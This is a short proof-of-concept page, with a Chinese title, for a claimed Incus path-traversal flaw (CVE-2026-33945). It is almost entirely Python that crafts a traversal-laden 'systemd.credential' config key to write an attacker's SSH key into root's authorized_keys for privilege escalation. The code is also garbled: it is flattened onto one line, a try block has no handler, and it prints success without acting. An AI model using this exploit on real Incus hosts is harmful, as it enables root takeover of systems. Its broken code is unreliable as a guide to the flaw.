CVE-2026-33945 Incus路径遍历致任意文件写入漏洞

# Proof of Concept for CVE-2026-33945 # This demonstrates how a malicious configuration key can lead to arbitrary file write. import subprocess def exploit_incus(instance_name, file_path, content): """ Exploits the path traversal in Incus systemd credentials. """ # Construct the malicious key using path traversal # The key format is systemd.credential.XYZ, where XYZ can contain path sequences # We use dots to confuse the parser and traverse up to root traversal_seq = "." * 10 + "/" + "../" * 10 malicious_key = f"systemd.credential{traversal_seq}{file_path}" try: print(f"[*] Attempting to write to {file_path} using key: {malicious_key}") # Command to set the configuration (requires low privilege on instance) cmd = [ "incus", "config", "set", instance_name, malicious_key, content ] # In a real scenario, this would execute the command # subprocess.run(cmd, check=True) print(f"[+] Success: If the system is vulnerable, '{content}' has been written to {file_path} as root.") print("[+] This can be used for privilege escalation (e.g., writing to /root/.ssh/authorized_keys).") if __name__ == "__main__": TARGET_INSTANCE = "my-container" TARGET_FILE = "root/.ssh/authorized_keys" PAYLOAD = "ssh-rsa AAAAB3NzaC1yc2E... attacker@evil" exploit_incus(TARGET_INSTANCE, TARGET_FILE, PAYLOAD)